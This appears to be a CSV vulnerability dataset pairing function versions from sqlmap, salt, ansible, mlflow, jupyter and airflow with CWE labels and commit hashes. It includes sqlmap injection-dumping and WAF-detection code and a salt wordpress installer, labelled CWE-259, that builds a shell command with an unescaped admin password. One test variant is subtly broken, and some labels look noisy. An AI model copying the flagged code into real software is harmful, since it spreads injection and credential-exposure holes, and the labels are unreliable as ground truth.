                            output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                            outputs.append(output)
                    except OverflowError:
                        errMsg = ""boundary limits (%d,%d) are too large. Please rerun "" % (startLimit, stopLimit)
                        errMsg += ""with switch '--fresh-queries'""
                        raise SqlmapDataException(errMsg)

                except KeyboardInterrupt:
                    print
                    warnMsg = ""user aborted during dumping phase""
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith(""SELECT "") and "" FROM "" not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

    return "", "".join(output for output in outputs) if not isNoneValue(outputs) else None"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/annotations.py,0,"def experimental(api_or_type: Union[callable, str]):
    """"""
    Decorator / decorator creator for marking APIs experimental in the docstring.

    :param api_or_type: An API to mark, or an API typestring for which to generate a decorator.
    :return: Decorated API (if a ``api_or_type`` is an API) or a function that decorates
             the specified API type (if ``api_or_type`` is a typestring).
    """"""
    if isinstance(api_or_type, str):
        return lambda api: _experimental(api=api, api_type=api_or_type)
    elif inspect.isclass(api_or_type):
        return _experimental(api=api_or_type, api_type=""class"")
    elif inspect.isfunction(api_or_type):
        return _experimental(api=api_or_type, api_type=""function"")
    else:
        return _experimental(api=api_or_type, api_type=""method"")",,mlflow/mlflow,d9bda6913e30da05d547f84af43428bd7f6ddfc2,"def experimental(api_or_type: Union[callable, str]):
    """"""
    Decorator / decorator creator for marking APIs experimental in the docstring.

    :param api: An API to mark, or an API typestring for which to generate a decorator.
    :return: Decorated API (if a ``api_or_type`` is an API) or a function that decorates
             the specified API type (if ``api_or_type`` is a typestring).
    """"""
    if isinstance(api_or_type, str):
        return lambda api: _experimental(api=api, api_type=api_or_type)
    elif inspect.isclass(api_or_type):
        return _experimental(api=api_or_type, api_type=""class"")
    else:
        return _experimental(api=api_or_type, api_type=""method"")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mine.py,0,"def get(tgt, fun, expr_form='glob', exclude_minion=False):
    '''
    Get data from the mine based on the target, function and expr_form

    Targets can be matched based on any standard matching system that can be
    matched on the master via these keywords::

        glob
        pcre
        grain
        grain_pcre
        compound
        pillar
        pillar_pcre

    Note that all pillar matches, whether using the compound matching system or
    the pillar matching system, will be exact matches, with globbing disabled.

    exclude_minion
        Excludes the current minion from the result set

    CLI Example:

    .. code-block:: bash

        salt '*' mine.get '*' network.interfaces
        salt '*' mine.get 'os:Fedora' network.interfaces grain
        salt '*' mine.get 'os:Fedora and S@192.168.5.0/24' network.ipaddrs compound

    .. seealso:: Retrieving Mine data from Pillar and Orchestrate

        This execution module is intended to be executed on minions.
        Master-side operations such as Pillar or Orchestrate that require Mine
        data should use the :py:mod:`Mine Runner module <salt.runners.mine>`
        instead; it can be invoked from an SLS file using the
        :py:func:`saltutil.runner <salt.modules.saltutil.runner>` module. For
        example:

        .. code-block:: yaml

            {% set minion_ips = salt.saltutil.runner('mine.get',
                tgt='*',
                fun='network.ip_addrs',
                tgt_type='glob') %}
    '''
    if __opts__['file_client'] == 'local':
        ret = {}
        is_target = {'glob': __salt__['match.glob'],
                     'pcre': __salt__['match.pcre'],
                     'list': __salt__['match.list'],
                     'grain': __salt__['match.grain'],
                     'grain_pcre': __salt__['match.grain_pcre'],
                     'ipcidr': __salt__['match.ipcidr'],
                     'compound': __salt__['match.compound'],
                     'pillar': __salt__['match.pillar'],
                     'pillar_pcre': __salt__['match.pillar_pcre'],
                     }[expr_form](tgt)
        if is_target:
            data = __salt__['data.getval']('mine_cache')
            if isinstance(data, dict) and fun in data:
                ret[__opts__['id']] = data[fun]
        return ret
    load = {
            'cmd': '_mine_get',
            'id': __opts__['id'],
            'tgt': tgt,
            'fun': fun,
            'expr_form': expr_form,
    }
    ret = _mine_get(load, __opts__)
    if exclude_minion:
        if __opts__['id'] in ret:
            del ret[__opts__['id']]
    return ret",,saltstack/salt,c52f85ea7e6ea4e75ec76ba46b690bfddb00a32c,"def get(tgt, fun, expr_form='glob', exclude_minion=False):
    '''
    Get data from the mine based on the target, function and expr_form

    Targets can be matched based on any standard matching system that can be
    matched on the master via these keywords::

        glob
        pcre
        grain
        grain_pcre
        compound
        pillar
        pillar_pcre

    Note that all pillar matches, whether using the compound matching system or
    the pillar matching system, will be exact matches, with globbing disabled.

    exclude_minion
        Excludes the current minion from the result set

    CLI Example:

    .. code-block:: bash

        salt '*' mine.get '*' network.interfaces
        salt '*' mine.get 'os:Fedora' network.interfaces grain
        salt '*' mine.get 'os:Fedora and S@192.168.5.0/24' network.ipaddrs compound

    .. seealso:: Retrieving Mine data from Pillar and Orchestrate

        This execution module is intended to be executed on minions.
        Master-side operations such as Pillar or Orchestrate that require Mine
        data should use the :py:mod:`Mine Runner module <salt.runners.mine>`
        instead; it can be invoked from an SLS file using the
        :py:func:`saltutil.runner <salt.modules.saltutil.runner>` module. For
        example:

        .. code-block:: yaml

            {% set minion_ips = salt.saltutil.runner('mine.get',
                tgt='*',
                fun='network.ip_addrs',
                tgt_type='glob') %}
    '''
    if __opts__['file_client'] == 'local':
        ret = {}
        is_target = {'glob': __salt__['match.glob'],
                     'pcre': __salt__['match.pcre'],
                     'list': __salt__['match.list'],
                     'grain': __salt__['match.grain'],
                     'grain_pcre': __salt__['match.grain_pcre'],
                     'ipcidr': __salt__['match.ipcidr'],
                     'compound': __salt__['match.compound'],
                     'pillar': __salt__['match.pillar'],
                     'pillar_pcre': __salt__['match.pillar_pcre'],
                     }[expr_form](tgt)
        if is_target:
            data = __salt__['data.getval']('mine_cache')
            if isinstance(data, dict) and fun in data:
                ret[__opts__['id']] = data[fun]
        return ret
    load = {
            'cmd': '_mine_get',
            'id': __opts__['id'],
            'tgt': tgt,
            'fun': fun,
            'expr_form': expr_form,
    }
    ret = _mine_get(load, __opts__)                                                                                                                                                                                                                                                          
    if exclude_minion:                                                                                                                                                                                                                                                                       
        if __opts__['id'] in ret:                                                                                                                                                                                                                                                            
            del ret[__opts__['id']]                                                                                                                                                                                                                                                          
    return ret"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/jiasule.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = re.search(r""jiasule-WAF"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        retval |= re.search(r""__jsluid="", headers.get(HTTP_HEADER.SET_COOKIE, """"), re.I) is not None
        retval |= re.search(r""jsl_tracking"", headers.get(HTTP_HEADER.SET_COOKIE, """"), re.I) is not None
        retval |= re.search(r""static\.jiasule\.com/static/js/http_error\.js"", page or """", re.I) is not None
        retval |= code == 403 and ""notice-jiasule"" in (page or """")
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,31850e45440271c1568955dcab4e9726259c8904,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, headers, code = get_page(get=vector)
        retval = re.search(r""jiasule-WAF"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        retval |= re.search(r""__jsluid="", headers.get(HTTP_HEADER.SET_COOKIE, """"), re.I) is not None
        retval |= re.search(r""jsl_tracking"", headers.get(HTTP_HEADER.SET_COOKIE, """"), re.I) is not None
        retval |= re.search(r""static\.jiasule\.com/static/js/http_error\.js"", page, re.I) is not None
        retval |= code == 403 and ""notice-jiasule"" in (page or """")
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,salt/modules/wordpress.py,1,"def install(path, user, admin_user, admin_password, admin_email, title, url):
    """"""
    Run the initial setup functions for a wordpress install

    path
        path to wordpress install location

    user
        user to run the command as

    admin_user
        Username for the Administrative user for the wordpress install

    admin_password
        Initial Password for the Administrative user for the wordpress install

    admin_email
        Email for the Administrative user for the wordpress install

    title
        Title of the wordpress website for the wordpress install

    url
        Url for the wordpress install

    CLI Example:

    .. code-block:: bash

        salt '*' wordpress.install /var/www/html apache dwallace password123 \
            dwallace@example.com ""Daniel's Awesome Blog"" https://blog.dwallace.com
    """"""
    retcode = __salt__[""cmd.retcode""](
        'wp --path={} core install --title=""{}"" --admin_user={} '
        ""--admin_password='{}' --admin_email={} --url={}"".format(
            path, title, admin_user, admin_password, admin_email, url
        ),
        runas=user,
    )

    if retcode == 0:
        return True
    return False",CWE-259,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def install(path, user, admin_user, admin_password, admin_email, title, url):
    """"""
    Run the initial setup functions for a wordpress install

    path
        path to wordpress install location

    user
        user to run the command as

    admin_user
        Username for the Administrative user for the wordpress install

    admin_password
        Initial Password for the Administrative user for the wordpress install

    admin_email
        Email for the Administrative user for the wordpress install

    title
        Title of the wordpress website for the wordpress install

    url
        Url for the wordpress install

    CLI Example:

    .. code-block:: bash

        salt '*' wordpress.install /var/www/html apache dwallace password123 \
            dwallace@example.com ""Daniel's Awesome Blog"" https://blog.dwallace.com
    """"""
    retcode = __salt__[""cmd.retcode""](
        (
            ""wp --path={} core install ""
            '--title=""{}"" '
            ""--admin_user={} ""
            ""--admin_password='{}' ""
            ""--admin_email={} ""
            ""--url={}""
        ).format(path, title, admin_user, admin_password, admin_email, url),
        runas=user,
    )

    if retcode == 0:
        return True
    return False"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/units/playbook/test_taggable.py,0,"def test_evaluate_tags_accepts_lists(self):
        self.assert_evaluate_equal(True, ['tag1', 'tag2'], ['tag2'], [])",,ansible/ansible,7eb1ab45a7cdc4546795845fd56d4f6506db0234,"def test_evaluate_tags_accepts_lists(self):
        self.assert_evaluate_equal(True, ['tag1', 'tag2'], ['tag2'], [])"
,UNKNOWN,UNKNOWN,tests/pytests/integration/modules/test_mac_user.py,1,"def test_mac_user_changes(salt_call_cli, setup_teardown_vars):
    """"""
    Tests mac_user functions that change user properties
    """"""
    CHANGE_USER = setup_teardown_vars[3]

    # Create a user to manipulate - if unsuccessful, skip the test
    ret = salt_call_cli.run(""user.add"", CHANGE_USER)
    if ret.data is not True:
        salt_call_cli.run(""user.delete"", CHANGE_USER)
        pytest.skip(""Failed to create a user"")

    try:
        # Test mac_user.chuid
        salt_call_cli.run(""user.chuid"", CHANGE_USER, 4376)
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        uid_info = ret.data
        assert uid_info[""uid""] == 4376

        # Test mac_user.chgid
        salt_call_cli.run(""user.chgid"", CHANGE_USER, 4376)
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        gid_info = ret.data
        assert gid_info[""gid""] == 4376

        # Test mac.user.chshell
        salt_call_cli.run(""user.chshell"", CHANGE_USER, ""/bin/zsh"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        shell_info = ret.data
        assert shell_info[""shell""] == ""/bin/zsh""

        # Test mac_user.chhome
        salt_call_cli.run(""user.chhome"", CHANGE_USER, ""/Users/foo"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        home_info = ret.data
        assert home_info[""home""] == ""/Users/foo""

        # Test mac_user.chfullname
        salt_call_cli.run(""user.chfullname"", CHANGE_USER, ""Foo Bar"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        fullname_info = ret.data
        assert fullname_info[""fullname""] == ""Foo Bar""

        # Test mac_user.chgroups
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        pre_info = ret.data[""groups""]
        expected = pre_info + [""wheel""]
        salt_call_cli.run(""user.chgroups"", CHANGE_USER, ""wheel"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        groups_info = ret.data
        assert groups_info[""groups""] == expected

    except AssertionError:
        salt_call_cli.run(""user.delete"", CHANGE_USER)
        raise",CWE-703,saltstack/salt,ca44b2ad57dfecdda32f025800d0ea38edadc3ce,"def test_mac_user_changes(salt_call_cli, setup_teardown_vars):
    """"""
    Tests mac_user functions that change user properties
    """"""
    CHANGE_USER = setup_teardown_vars[3]

    # Create a user to manipulate - if unsuccessful, skip the test
    ret = salt_call_cli.run(""user.add"", CHANGE_USER)
    if ret.data is not True:
        salt_call_cli.run(""user.delete"", CHANGE_USER)
        pytest.skip(""Failed to create a user"")

    try:
        # Test mac_user.chuid
        salt_call_cli.run(""user.chuid"", CHANGE_USER, 4376)
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        uid_info = ret.data
        assert uid_info[""uid""] == 4376

        # Test mac_user.chgid
        salt_call_cli.run(""user.chgid"", CHANGE_USER, 4376)
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        gid_info = ret.data
        assert gid_info[""gid""] == 4376

        # Test mac.user.chshell
        salt_call_cli.run(""user.chshell"", CHANGE_USER, ""/bin/zsh"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        shell_info = ret.data
        assert shell_info[""shell""] == ""/bin/zsh""

        # Test mac_user.chhome
        salt_call_cli.run(""user.chhome"", CHANGE_USER, ""/Users/foo"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        home_info = ret.data
        assert home_info[""home""] == ""/Users/foo""

        # Test mac_user.chfullname
        salt_call_cli.run(""user.chfullname"", CHANGE_USER, ""Foo Bar"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        fullname_info = ret.data
        assert fullname_info[""fullname""] == ""Foo Bar""

        # Test mac_user.chgroups
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)[""groups""]
        pre_info = ret.data
        expected = pre_info + [""wheel""]
        salt_call_cli.run(""user.chgroups"", CHANGE_USER, ""wheel"")
        ret = salt_call_cli.run(""user.info"", CHANGE_USER)
        groups_info = ret.data
        assert groups_info[""groups""] == expected

    except AssertionError:
        salt_call_cli.run(""user.delete"", CHANGE_USER)
        raise"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/cliconf/__init__.py,0,"def get_capabilities(self):
        """"""Returns the basic capabilities of the network device
        This method will provide some basic facts about the device and
        what capabilities it has to modify the configuration.  The minimum
        return from this method takes the following format.
        eg:
            {

                'rpc': [list of supported rpcs],
                'network_api': <str>,            # the name of the transport
                'device_info': {
                    'network_os': <str>,
                    'network_os_version': <str>,
                    'network_os_model': <str>,
                    'network_os_hostname': <str>,
                    'network_os_image': <str>,
                    'network_os_platform': <str>,
                },
                'device_operations': {
                    'supports_diff_replace': <bool>,       # identify if config should be merged or replaced is supported
                    'supports_commit': <bool>,             # identify if commit is supported by device or not
                    'supports_rollback': <bool>,           # identify if rollback is supported or not
                    'supports_defaults': <bool>,           # identify if fetching running config with default is supported
                    'supports_commit_comment': <bool>,     # identify if adding comment to commit is supported of not
                    'supports_onbox_diff': <bool>,          # identify if on box diff capability is supported or not
                    'supports_generate_diff': <bool>,       # identify if diff capability is supported within plugin
                    'supports_multiline_delimiter': <bool>, # identify if multiline delimiter is supported within config
                    'supports_diff_match': <bool>,          # identify if match is supported
                    'supports_diff_ignore_lines': <bool>,   # identify if ignore line in diff is supported
                    'supports_config_replace': <bool>,     # identify if running config replace with candidate config is supported
                    'supports_admin': <bool>,              # identify if admin configure mode is supported or not
                    'supports_commit_label': <bool>,       # identify if commit label is supported or not
                }
                'format': [list of supported configuration format],
                'diff_match': [list of supported match values],
                'diff_replace': [list of supported replace values],
                'output': [list of supported command output format]
            }
        :return: capability as dict
        """"""
        result = {}
        result['rpc'] = self.get_base_rpc()
        result['device_info'] = self.get_device_info()
        result['network_api'] = 'cliconf'
        return result",,ansible/ansible,7e3916b767e1f02fae67630ce7e81bdf47825282,"def get_capabilities(self):
        """"""Returns the basic capabilities of the network device
        This method will provide some basic facts about the device and
        what capabilities it has to modify the configuration.  The minimum
        return from this method takes the following format.
        eg:
            {

                'rpc': [list of supported rpcs],
                'network_api': <str>,            # the name of the transport
                'device_info': {
                    'network_os': <str>,
                    'network_os_version': <str>,
                    'network_os_model': <str>,
                    'network_os_hostname': <str>,
                    'network_os_image': <str>,
                    'network_os_platform': <str>,
                },
                'device_operations': {
                    'supports_diff_replace': <bool>,       # identify if config should be merged or replaced is supported
                    'supports_commit': <bool>,             # identify if commit is supported by device or not
                    'supports_rollback': <bool>,           # identify if rollback is supported or not
                    'supports_defaults': <bool>,           # identify if fetching running config with default is supported
                    'supports_commit_comment': <bool>,     # identify if adding comment to commit is supported of not
                    'supports_onbox_diff': <bool>,          # identify if on box diff capability is supported or not
                    'supports_generate_diff': <bool>,       # identify if diff capability is supported within plugin
                    'supports_multiline_delimiter': <bool>, # identify if multiline demiliter is supported within config
                    'supports_diff_match': <bool>,          # identify if match is supported
                    'supports_diff_ignore_lines': <bool>,   # identify if ignore line in diff is supported
                    'supports_config_replace': <bool>,     # identify if running config replace with candidate config is supported
                    'supports_admin': <bool>,              # identify if admin configure mode is supported or not
                    'supports_commit_label': <bool>,       # identify if commit label is supported or not
                }
                'format': [list of supported configuration format],
                'diff_match': [list of supported match values],
                'diff_replace': [list of supported replace values],
                'output': [list of supported command output format]
            }
        :return: capability as dict
        """"""
        result = {}
        result['rpc'] = self.get_base_rpc()
        result['device_info'] = self.get_device_info()
        result['network_api'] = 'cliconf'
        return result"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def _validate_log_json(self, proposal):
        # If log_json=True, see if the json_logging package can be imported and
        # override _log_formatter_cls if so.
        value = proposal['value']
        if value:
            try:
                import json_logging
                self.log.debug('initializing json logging')
                json_logging.init_non_web(enable_json=True)
                self._log_formatter_cls = json_logging.JSONLogFormatter
            except ImportError:
                # If configured for json logs and we can't do it, log a hint.
                # Only log the error once though.
                if not self._json_logging_import_error_logged:
                    self.log.warning(
                        'Unable to use json logging due to missing packages. '
                        'Run ""pip install notebook[json-logging]"" to fix.'
                    )
                    self._json_logging_import_error_logged = True
                value = False
        return value",,jupyter/notebook,fac228567eeaf6b15b196b82c7f294ff682d464e,"def _validate_log_json(self, proposal):
        # If log_json=True, see if the json_logging package can be imported and
        # override _log_formatter_cls if so.
        value = proposal['value']
        if value:
            try:
                import json_logging
                self.log.info('initializing json logging')
                json_logging.init_non_web(enable_json=True)
                self._log_formatter_cls = json_logging.JSONLogFormatter
            except ImportError:
                # If configured for json logs and we can't do it, log a hint.
                # Only log the error once though.
                if not self._json_logging_import_error_logged:
                    logging.getLogger(__name__).warning(
                        'Unable to use json logging due to missing packages. '
                        'Run ""pip install notebook[json-logging]"" to fix.'
                    )
                    self._json_logging_import_error_logged = True
                value = False
        return value"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/sensors/test_gcs.py,1,"def test_gcs_object_prefix_existence_sensor_finish_before_deferred(self, mock_defer, mock_hook):
        task = GCSObjectsWithPrefixExistenceSensor(
            task_id=""task-id"",
            bucket=TEST_BUCKET,
            prefix=TEST_PREFIX,
            google_cloud_conn_id=TEST_GCP_CONN_ID,
            impersonation_chain=TEST_IMPERSONATION_CHAIN,
            deferrable=True,
        )
        mock_hook.return_value.list.return_value = True
        task.execute(mock.MagicMock())
        assert not mock_defer.called",CWE-703,apache/airflow,ca4c55986534a553baea80a7bb5b834f7fdf0ddd,"def test_gcs_object_prefix_existence_sensor_finish_before_deferred(self, mock_defer, mock_hook):
        task = GCSObjectsWithPrefixExistenceSensor(
            task_id=""task-id"",
            bucket=TEST_BUCKET,
            prefix=TEST_PREFIX,
            google_cloud_conn_id=TEST_GCP_CONN_ID,
            impersonation_chain=TEST_IMPERSONATION_CHAIN,
            deferrable=True,
        )
        mock_hook.return_value.list.return_value = True
        task.execute(mock.MagicMock())
        assert not mock_defer.called"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.display(""statically included: %s"" % include_file, color=C.COLOR_SKIP)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=t.copy(),
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = t.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(t.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = t.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,a942758a0714c6176cc09a78562e9f3c62b2c8ff,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = templar.template(os.path.dirname(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                      ""Error when evaluating variable in include name: %s.\n\n"" \
                                      ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                      ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                      ""sources like group or host vars."" % t.args['_raw_params'],
                                      obj=task_ds,
                                      suppress_extended_error=True,
                                  )
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.display(""statically included: %s"" % include_file, color=C.COLOR_SKIP)
                    except AnsibleFileNotFound as e:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
